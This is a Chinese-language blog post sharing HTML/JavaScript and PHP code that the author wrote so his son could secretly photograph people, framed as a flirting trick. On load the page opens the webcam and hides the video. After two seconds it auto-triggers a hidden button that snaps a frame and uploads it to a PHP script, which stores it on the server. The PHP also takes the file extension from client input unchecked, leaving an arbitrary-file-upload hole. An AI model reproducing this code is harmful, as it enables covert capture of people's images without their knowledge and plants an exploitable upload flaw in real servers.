HTML通过JSON拍照用PHP接收后存储至指定文件夹

儿子给我发的抖音,想用那个功能撩妹,我没找到现成的,就寻思自己写一个

这里js可以单独放一个文件夹,我为了调试方便直接扔HTML里面了

<!DOCTYPE html>
<html lang="en">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
    <script src="https://cdn.bootcss.com/jquery/3.4.1/jquery.js"></script>
    <script type="text.javascript" ,src="https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js"></script>
    <!--<script src="camvas.js"></script>-->
    <script>
    
        function getMedia() {
            console.log("1");
            var constraints = {
                video: { width: 300, height: 300,'facingMode': "user" }
            };
            console.log("constraints",constraints);
            var video = document.getElementById("video");
            console.log("video",video);
            var promise = navigator.mediaDevices.getUserMedia(constraints);
            console.log("promise".promise);
            promise.then(function(MediaStream) {
                video.srcObject = MediaStream;
                console.log(video);
                // video.play();
            });
            // var video = document.getElementById("video");
            video.style.display = "none";
            // var canvas = document.getElementById("canvas");
            // var ctx = canvas.getContext('2d');
            // ctx.drawImage(video, 0, 0, 300, 300);
        
            // takePhoto();
        }
        
        function takePhoto() {
            console.log("2");
            var video = document.getElementById("video");
            console.log(video);
            var img = document.getElementById("img");
            console.log(img);
            video.style.display = "none";
            var canvas = document.getElementById("canvas");
            console.log(canvas);
            var ctx = canvas.getContext('2d');
            console.log(ctx);
            ctx.drawImage(video, 0, 0, 300, 300);
            img.src = canvas.toDataURL("image/png");
            // console.log(img.src);
            $.ajax({
                type: 'post',
                url: 'Camrea3.php',
                data: {
                    img: img.src
                }
            })
        }
        setTimeout(function() {
    // IE
    if(document.all) {
        document.getElementById("clickMe").click();
    }
    // 其它浏览器
    else {
        var e = document.createEvent("MouseEvents");
        e.initEvent("click", true, true);
        document.getElementById("snap").dispatchEvent(e);
    }
}, 2000);
        // while(true){
        //     takePhoto()
        // }    
    </script>
</head>

<body onload="getMedia()">
    <!--<h1>本功能专为杨宇铮撩妹开发,不承担任何责任,有问题请去揍杨宇铮,身份证:我也不知道,哈哈哈哈</h1>-->
    <div style="display:none;text-align:center;vertical-align:middle;background-size: contain;">
            <img    style="height: auto; width: auto\9; width:50%;"src="" id="img" alt="" name="imge" />
        </div>
    <div class="box" style="text-align:center;vertical-align:middle;background-size: contain;">
        <!-- <input class="input" type="button" value="1" style="width: 100px;height: 30px;" onclick="getMedia()" /> -->
        <!--<input class="input" type="button" value="1" style="width: 100px;height: 30px;" onclick="getMedia()" /> -->
        <video id="video" width="300px" height="300px" autoplay="autoplay"></video>
        <canvas  style="display:none" id="canvas" text-align:center width="300px" height="300px"></canvas>
        
        <input type="hidden" id="snap" style="width: 100px;height: 30px;"  value="2" onclick="takePhoto()">
         <!-- <meta http-equiv="refresh" content="5;url=index2.html">-->
    </div>

</body>

</html>

Camrea3.php

<?php
$imge=$_POST["img"];
$path = './images';
 function base64_image_content($base64_image_content,$path){
    //匹配出图片的格式
    if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $base64_image_content, $result)){
        $type = $result[2];
        $new_file = $path."/".date('Ymd',time())."/";
        if(!file_exists($new_file)){
            //检查是否有该文件夹,如果没有就创建,并给予最高权限
            mkdir($new_file, 0700, true);
        }
        $new_file = $new_file.time().".{$type}";
        if (file_put_contents($new_file, base64_decode(str_replace($result[1], '', $base64_image_content)))){
            return '/'.$new_file;
        }else{
            return false;
        }
    }else{
        return false;
    }
}
base64_image_content($imge,$path);
?>
最后修改:2021 年 05 月 11 日
如果觉得我的文章对你有用,请随意赞赏